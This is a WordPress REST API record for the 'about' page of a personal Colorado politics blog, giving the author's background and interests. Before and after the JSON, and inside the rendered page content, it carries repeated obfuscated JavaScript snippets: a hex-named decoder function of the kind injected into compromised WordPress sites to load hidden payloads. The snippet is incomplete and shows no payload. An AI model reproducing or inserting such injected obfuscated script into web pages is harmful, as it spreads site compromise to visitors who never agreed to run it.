<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":2,"date":"2009-07-21T02:19:39","date_gmt":"2009-07-21T06:19:39","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?page_id=2"},"modified":"2021-02-03T19:34:28","modified_gmt":"2021-02-04T02:34:28","slug":"about","status":"publish","type":"page","link":"https:\/\/www.jsharf.com\/view\/?page_id=2","title":{"rendered":"about"},"content":{"rendered":"<p>A <a href=\"http:\/\/www.virginia.edu\" target=\"_blank\" rel=\"noopener\">Virginian<\/a> on both my parents&#8217; sides, I&#8217;ve lived in Colorado for almost 14 years.\u00a0 I&#8217;ve\u00a0done (and still do) web development, and financial analysis, I&#8217;ve <a href=\"http:\/\/www.sharfcolorado.com\" target=\"_blank\" rel=\"noopener\">run for office<\/a>, started this blog and a couple of others, hosted and guest-hosted talk radio.<\/p>\n<p>This blog is mostly about politics, because of its immediacy and never-ending source of grist for the mill.\u00a0 But it&#8217;s also about other stuff, like sports, Judaism, history, the odd TV show or movie (even TV shows about movies), and trips I happen to take.\u00a0 A lot of those pieces show up <a href=\"http:\/\/www.jsharf.com\" target=\"_blank\" rel=\"noopener\">elsewhere on the site<\/a>, too.<\/p>\n\n\n<p>I&#8217;m also a Senior Fellow in Fiscal Policy at the <a rel=\"noreferrer noopener\" href=\"http:\/\/www.i2i.org\" target=\"_blank\">Independence Institute<\/a>, where I&#8217;ve written extensively about Colorado&#8217;s public pensions, and other topics of interest.<\/p>\n\n\n\n<p>I currently live in Denver with my wife Susie and son David.<\/p>\n\r\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script>","protected":false},"excerpt":{"rendered":"<p>A Virginian on both my parents&#8217; sides, I&#8217;ve lived in Colorado for almost 14 years.\u00a0 I&#8217;ve\u00a0done (and still do) web development, and financial analysis, I&#8217;ve run for office, started this blog and a couple of others, hosted and guest-hosted talk radio. This blog is mostly about politics, because of its immediacy and never-ending source of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/pages\/2"}],"collection":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2"}],"version-history":[{"count":4,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/pages\/2\/revisions"}],"predecessor-version":[{"id":3627,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/pages\/2\/revisions\/3627"}],"wp:attachment":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}